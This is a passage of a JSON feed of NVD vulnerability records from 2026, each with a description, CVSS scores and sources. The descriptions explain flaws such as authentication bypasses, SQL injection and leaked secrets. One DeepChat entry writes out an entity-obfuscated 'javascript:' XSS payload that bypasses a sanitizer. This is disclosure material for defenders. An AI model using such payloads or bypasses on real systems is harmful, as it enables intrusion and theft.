record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44196","cveId":"CVE-2026-44196","aliases":[],"kind":"vulnerability","title":"Pingvin Share X is a secure and easy self-hosted file sharing platform.","summary":"Pingvin Share X is a secure and easy self-hosted file sharing platform. From 1.14.1 to 1.16.2, a critical authentication bypass vulnerability allows an attacker who has obtained a valid username and password to skip the second-factor authentication (TOTP) requirement entirely. Although, an attacker still needs the user's password to reach this stage. This vulnerability is fixed in 1.16.3.","detail":"Pingvin Share X is a secure and easy self-hosted file sharing platform. From 1.14.1 to 1.16.2, a critical authentication bypass vulnerability allows an attacker who has obtained a valid username and password to skip the second-factor authentication (TOTP) requirement entirely. Although, an attacker still needs the user's password to reach this stage. This vulnerability is fixed in 1.16.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:29.730Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44196","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44196","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44196","type":"primary","publishedAt":"2026-05-12T18:17:29.730Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42300","cveId":"CVE-2026-42300","aliases":[],"kind":"vulnerability","title":"DevGuard provides vulnerability management for the full software supply chain.","summary":"DevGuard provides vulnerability management for the full software supply chain. Prior to 1.2.2, the SessionMiddleware accepts a client-supplied X-Admin-Token HTTP request header and uses its raw string value as the authenticated userID when no Kratos session cookie is present. An unauthenticated attacker who knows or can guess a target user's Kratos identity UUID can issue requests as that user. Where the target user is an organisation admin or owner, this gives the attacker full control over that organisation's DevGuard resources. This vulnerability is fixed in 1.2.2.","detail":"DevGuard provides vulnerability management for the full software supply chain. Prior to 1.2.2, the SessionMiddleware accepts a client-supplied X-Admin-Token HTTP request header and uses its raw string value as the authenticated userID when no Kratos session cookie is present. An unauthenticated attacker who knows or can guess a target user's Kratos identity UUID can issue requests as that user. Where the target user is an organisation admin or owner, this gives the attacker full control over that organisation's DevGuard resources. This vulnerability is fixed in 1.2.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:24.390Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42300","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42300","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42300","type":"primary","publishedAt":"2026-05-12T18:17:24.390Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-29204","cveId":"CVE-2026-29204","aliases":[],"kind":"vulnerability","title":"Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation...","summary":"Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation leading to unauthorized access to the victim's account.","detail":"Insufficient ownership check in `clientarea.php` allows an authenticated client area user to submit requests using another user’s `addonId` without any ownership validation leading to unauthorized access to the victim's account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:16:51.030Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-29204","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-29204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29204","type":"primary","publishedAt":"2026-05-12T18:16:51.030Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43992","cveId":"CVE-2026-43992","aliases":[],"kind":"vulnerability","title":"JunoClaw is an agentic AI platform built on Juno Network.","summary":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, every MCP write tool (send_tokens, execute_contract, instantiate_contract, upload_wasm, ibc_transfer, etc.) accepted 'mnemonic: string' as an explicit tool-call parameter. The BIP-39 seed was consequently embedded in the LLM tool-call JSON, exposing it to any transport, log, or telemetry surface in the path between the LLM provider and the MCP process. This vulnerability is fixed in 0.x.y-security-1.","detail":"JunoClaw is an agentic AI platform built on Juno Network. Prior to 0.x.y-security-1, every MCP write tool (send_tokens, execute_contract, instantiate_contract, upload_wasm, ibc_transfer, etc.) accepted 'mnemonic: string' as an explicit tool-call parameter. The BIP-39 seed was consequently embedded in the LLM tool-call JSON, exposing it to any transport, log, or telemetry surface in the path between the LLM provider and the MCP process. This vulnerability is fixed in 0.x.y-security-1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T17:16:21.240Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43992","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43992","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43992","type":"primary","publishedAt":"2026-05-12T17:16:21.240Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45091","cveId":"CVE-2026-45091","aliases":[],"kind":"vulnerability","title":"sealed-env is a cross-stack, zero-trust secret management library for Node.js and Java/Spring Boot.","summary":"sealed-env is a cross-stack, zero-trust secret management library for Node.js and Java/Spring Boot. In sealed-env enterprise mode, versions 0.1.0-alpha.1 through 0.1.0-alpha.3 embedded the operator's literal TOTP secret in the JWS payload of every minted unseal token. JWS payload is base64-encoded JSON, NOT encrypted. Any party who could observe a minted token (CI build logs, container env dumps, kubectl describe pod, Sentry/Rollbar stack traces, log aggregators) could decode the payload and extract the TOTP secret in plaintext. This vulnerability is fixed in 0.1.0-alpha.4.","detail":"sealed-env is a cross-stack, zero-trust secret management library for Node.js and Java/Spring Boot. In sealed-env enterprise mode, versions 0.1.0-alpha.1 through 0.1.0-alpha.3 embedded the operator's literal TOTP secret in the JWS payload of every minted unseal token. JWS payload is base64-encoded JSON, NOT encrypted. Any party who could observe a minted token (CI build logs, container env dumps, kubectl describe pod, Sentry/Rollbar stack traces, log aggregators) could decode the payload and extract the TOTP secret in plaintext. This vulnerability is fixed in 0.1.0-alpha.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T14:17:08.820Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js","Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45091","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45091","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45091","type":"primary","publishedAt":"2026-05-12T14:17:08.820Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8072","cveId":"CVE-2026-8072","aliases":[],"kind":"vulnerability","title":"Insecure generation of credentials in the local SAT (Technical Support) access functionality of the Ingecon Sun EMS Board.","summary":"Insecure generation of credentials in the local SAT (Technical Support) access functionality of the Ingecon Sun EMS Board. The vulnerability arose because the secret access credentials were not based on a secure cryptographic scheme, but rather on a weak hashing algorithm, which could allow an attacker to carry out a privilege escalation.","detail":"Insecure generation of credentials in the local SAT (Technical Support) access functionality of the Ingecon Sun EMS Board. The vulnerability arose because the secret access credentials were not based on a secure cryptographic scheme, but rather on a weak hashing algorithm, which could allow an attacker to carry out a privilege escalation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T10:16:48.670Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8072","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8072","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8072","type":"primary","publishedAt":"2026-05-12T10:16:48.670Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7428","cveId":"CVE-2026-7428","aliases":[],"kind":"vulnerability","title":"Prior to 2025-11-03, well-intended users of Terraform or REST API for Google Cloud AlloyDB for PostgreSQL could have created clusters with an insecure default password which could...","summary":"Prior to 2025-11-03, well-intended users of Terraform or REST API for Google Cloud AlloyDB for PostgreSQL could have created clusters with an insecure default password which could have been exploited by a remote attacker to gain full administrative access to the database.\n\n\n\n\nExploitation required network access to the AlloyDB cluster and was limited to Terraform or the REST API, as other clients blocked it.","detail":"Prior to 2025-11-03, well-intended users of Terraform or REST API for Google Cloud AlloyDB for PostgreSQL could have created clusters with an insecure default password which could have been exploited by a remote attacker to gain full administrative access to the database.\n\n\n\n\nExploitation required network access to the AlloyDB cluster and was limited to Terraform or the REST API, as other clients blocked it.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T10:16:48.490Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PostgreSQL"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7428","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7428","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7428","type":"primary","publishedAt":"2026-05-12T10:16:48.490Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41872","cveId":"CVE-2026-41872","aliases":[],"kind":"vulnerability","title":"\"Kura Sushi Official App\" provided by EPG, Inc.","summary":"\"Kura Sushi Official App\" provided by EPG, Inc. is vulnerable to improper certificate validation. A man-in-the-middle attack may allow eavesdropping on, or altering, the communication on push notifications between the affected application and the relevant server.","detail":"\"Kura Sushi Official App\" provided by EPG, Inc. is vulnerable to improper certificate validation. A man-in-the-middle attack may allow eavesdropping on, or altering, the communication on push notifications between the affected application and the relevant server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T06:16:09.400Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41872","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41872","type":"primary","publishedAt":"2026-05-12T06:16:09.400Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34263","cveId":"CVE-2026-34263","aliases":[],"kind":"vulnerability","title":"Due to improper Spring Security configuration, SAP Commerce Cloud allows an unauthenticated user to perform malicious input injection, resulting in arbitrary server-side code...","summary":"Due to improper Spring Security configuration, SAP Commerce Cloud allows an unauthenticated user to perform malicious input injection, resulting in arbitrary server-side code execution, leading to high impact on Confidentiality, Integrity, and Availability of the application.","detail":"Due to improper Spring Security configuration, SAP Commerce Cloud allows an unauthenticated user to perform malicious input injection, resulting in arbitrary server-side code execution, leading to high impact on Confidentiality, Integrity, and Availability of the application.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T03:16:11.650Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34263","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34263","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34263","type":"primary","publishedAt":"2026-05-12T03:16:11.650Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34260","cveId":"CVE-2026-34260","aliases":[],"kind":"vulnerability","title":"SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through...","summary":"SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through user-controlled input. The application directly concatenates this malicious user input into SQL queries, which are then passed to the underlying database without proper validation or sanitization. Upon successful exploitation, an attacker may gain unauthorized access to sensitive database information and could potentially crash the application. This vulnerability has a high impact on the confidentiality and availability of the application, while integrity remains unaffected.","detail":"SAP S/4HANA (SAP Enterprise Search for ABAP) contains a SQL injection vulnerability that allows an authenticated attacker to inject malicious SQL statements through user-controlled input. The application directly concatenates this malicious user input into SQL queries, which are then passed to the underlying database without proper validation or sanitization. Upon successful exploitation, an attacker may gain unauthorized access to sensitive database information and could potentially crash the application. This vulnerability has a high impact on the confidentiality and availability of the application, while integrity remains unaffected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T03:16:11.517Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34260","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34260","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34260","type":"primary","publishedAt":"2026-05-12T03:16:11.517Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43900","cveId":"CVE-2026-43900","aliases":[],"kind":"vulnerability","title":"DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents.","summary":"DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, a Cross-Site Scripting (XSS) vulnerability exists due to a discrepancy between the backend validation layer and the frontend browser rendering engine. The SVGSanitizer (src/main/lib/svgSanitizer.ts) restricts script execution by scrubbing javascript: protocols using plain-text regular expressions. However, it fails to account for HTML entity decoding prior to Vue's v-html DOM insertion inside the SvgArtifact.vue component. By feeding an SVG artifact with obfuscated entities (e.g., j&#x61;vascript:alert(1)), an attacker can completely bypass the sanitizer, culminating in arbitrary JavaScript execution when a victim interacts with the rendered SVG Element. This vulnerability is fixed in v1.0.4-beta.1.","detail":"DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, a Cross-Site Scripting (XSS) vulnerability exists due to a discrepancy between the backend validation layer and the frontend browser rendering engine. The SVGSanitizer (src/main/lib/svgSanitizer.ts) restricts script execution by scrubbing javascript: protocols using plain-text regular expressions. However, it fails to account for HTML entity decoding prior to Vue's v-html DOM insertion inside the SvgArtifact.vue component. By feeding an SVG artifact with obfuscated entities (e.g., j&#x61;vascript:alert(1)), an attacker can completely bypass the sanitizer, culminating in arbitrary JavaScript execution when a victim interacts with the rendered SVG Element. This vulnerability is fixed in v1.0.4-beta.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T23:20:21.557Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43900","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43900","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43900","type":"primary","publishedAt":"2026-05-11T23:20:21.557Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43899","cveId":"CVE-2026-43899","aliases":[],"kind":"vulnerability","title":"DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents.","summary":"DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, An incomplete mitigation for CVE-2025-55733 leaves DeepChat vulnerable to an arbitrary protocol execution bypass (RCE). While the patch correctly restricted api.openExternal() inside the renderer's preload/index.ts script, it structurally neglected to sanitize native Electron pop-up window handlers. An attacker or a compromised AI endpoint returning a Markdown link can trigger a target=\"_blank\" native window interception in tabPresenter.ts, which forwards the malicious URL directly to shell.openExternal(url) and completely bypasses the isValidExternalUrl security boundary. This vulnerability is fixed in v1.0.4-beta.1.","detail":"DeepChat is an open-source artificial intelligence agent platform that unifies models, tools, and agents. Prior to v1.0.4-beta.1, An incomplete mitigation for CVE-2025-55733 leaves DeepChat vulnerable to an arbitrary protocol execution bypass (RCE). While the patch correctly restricted api.openExternal() inside the renderer's preload/index.ts script, it structurally neglected to sanitize native Electron pop-up window handlers. An attacker or a compromised AI endpoint returning a Markdown link can trigger a target=\"_blank\" native window interception in tabPresenter.ts, which forwards the malicious URL directly to shell.openExternal(url) and completely bypasses the isValidExternalUrl security boundary. This vulnerability is fixed in v1.0.4-beta.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T23:20:21.410Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43899","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43899","type":"primary","publishedAt":"2026-05-11T23:20:21.410Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42882","cveId":"CVE-2026-42882","aliases":[],"kind":"vulnerability","title":"oxyno-zeta/s3-proxy is an aws s3 proxy written in go.","summary":"oxyno-zeta/s3-proxy is an aws s3 proxy written in go. Prior to 5.0.0, s3-proxy contains an authentication bypass caused by inconsistent URL path interpretation between the authentication middleware and the bucket handler. The authentication middleware evaluates resource path patterns against the percent-encoded request URI (r.URL.RequestURI()), while the bucket handler constructs S3 object keys from the decoded path (r.URL.Path). This 